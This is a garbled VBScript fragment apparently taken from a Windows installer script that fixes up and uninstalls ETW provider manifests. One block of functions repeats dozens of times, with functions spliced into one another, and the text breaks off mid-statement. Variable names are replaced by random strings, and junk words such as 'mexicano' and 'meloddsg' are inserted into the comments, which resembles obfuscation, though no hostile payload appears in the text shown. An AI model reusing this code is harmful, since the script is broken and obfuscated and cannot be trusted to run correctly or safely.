messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, 